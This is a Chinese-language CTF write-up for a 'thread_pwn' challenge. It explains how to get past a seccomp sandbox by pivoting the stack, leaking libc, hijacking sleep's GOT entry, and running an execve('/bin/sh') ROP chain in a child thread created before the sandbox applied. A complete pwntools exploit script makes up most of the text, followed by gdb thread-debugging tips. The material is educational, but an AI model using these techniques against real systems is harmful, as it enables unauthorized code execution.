thread_pwn
保护
开了沙箱保护策略,程序中只允许出现read,write,clock_nanosleep,exit_group
这些系统调用。
源码分析
程序创建了一个线程,在这个线程中调用start_routine
函数
有一个栈溢出漏洞,可以溢出0x10
个字节

start_routine
函数
思路
如果是一般的题并且没有开沙箱,可以栈迁移打ret2libc
。但是本题开了沙箱,程序中不允许出现除read,write,clock_nanosleep,exit_group
之外的系统调用。与此同时,本题也创建了一个子线程,也就是说我们有可能在子线程中执行后门函数去拿到shell
。
在父进程中布置rop
,栈迁移,泄漏libc
,并修改sleep
函数的got
表为call_read
的地址
payload = b'a'*0x40+p64(bss+0x40)+p64(call_read)
p.sendafter(b'Welcome ,do you know threads?',payload)
payload = p64(pop_rdi)+p64(elf.got['write'])+p64(elf.plt['puts']) payload+= p64(pop_rbp)+p64(elf.got['sleep']+0x40)+p64(call_read)+p64(data)*2
payload = payload.ljust(0x40,b'a') payload+= p64(bss-0x8)+p64(leave_ret)
p.send(payload)
|
让父进程陷入死循环
payload = p64(call_read) payload+= p64(pop_rax)+p64(jmp_rax)*2 payload = payload.ljust(0x40,b'a') payload+= p64(elf.got['sleep'])+p64(leave_ret)
p.send(payload)
|
布置rop
链
payload = b'a'*0x30+p64(pop_rbp)+p64(bss+0x340)+p64(call_read)+p64(bss+0x300) p.send(payload) pause() payload = p64(pop_rdi)+p64(bin_sh_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(execve_addr) payload+= p64(bss+0x300-0x8)+p64(leave_ret) p.send(payload)
|
exp
from tools import *
p = process('./thread_pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') debug(p) elf = ELF('./thread_pwn')
pop_rdi = 0x401593 pop_rsi_r15 = 0x401591 pop_rbp = 0x40123d leave_ret = 0x401481 bss = 0x404400 call_read = 0x4014be data = 0x404068
payload = b'a'*0x40+p64(bss+0x40)+p64(call_read) p.sendafter(b'Welcome ,do you know threads?',payload) payload = p64(pop_rdi)+p64(elf.got['write'])+p64(elf.plt['puts']) payload+= p64(pop_rbp)+p64(elf.got['sleep']+0x40)+p64(call_read)+p64(data)*2 payload = payload.ljust(0x40,b'a') payload+= p64(bss-0x8)+p64(leave_ret) p.send(payload) p.recvuntil(b'This is my thread...') write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log_addr("write_addr") libc_base = write_addr-libc.sym['write'] log_addr("libc_base") execve_addr=libc_base+libc.sym['execve'] bin_sh_addr = libc_base+next(libc.search(b'/bin/sh')) pop_rax = libc_base+0x45eb0 pop_rsi = libc_base+0x2be51 pop_rdx_r12 = libc_base+0x11f497 jmp_rax = 0x4011cc
payload = p64(call_read) payload+= p64(pop_rax)+p64(jmp_rax)*2 payload = payload.ljust(0x40,b'a') payload+= p64(elf.got['sleep'])+p64(leave_ret) p.send(payload) pause() payload = b'a'*0x30+p64(pop_rbp)+p64(bss+0x340)+p64(call_read)+p64(bss+0x300) p.send(payload) pause() payload = p64(pop_rdi)+p64(bin_sh_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(execve_addr) payload+= p64(bss+0x300-0x8)+p64(leave_ret) p.send(payload)
p.interactive()
|
拿到flag

总结
几个gdb
调试要用到的命令:
查询线程id
:i threads
切换线程:thread id
线程锁定:set scheduler-locking on
解除锁定:set scheduler-locking off
沙箱(Sandbox)是一种安全机制,用于限制程序的运行环境。如果父进程在创建子线程之前设置了沙箱策略,那么这些策略可能会限制子线程的行为。然而,如果子线程在沙箱策略设置之前就已经创建,那么它可能不会受到这些限制。
子进程的栈区是父进程用mmap映射出来的一片内存(并不能在父进程里溢出篡改子进程的数据)
bss段 data段以及代码段(以及got表)的数据是父进程和子进程之间所共享的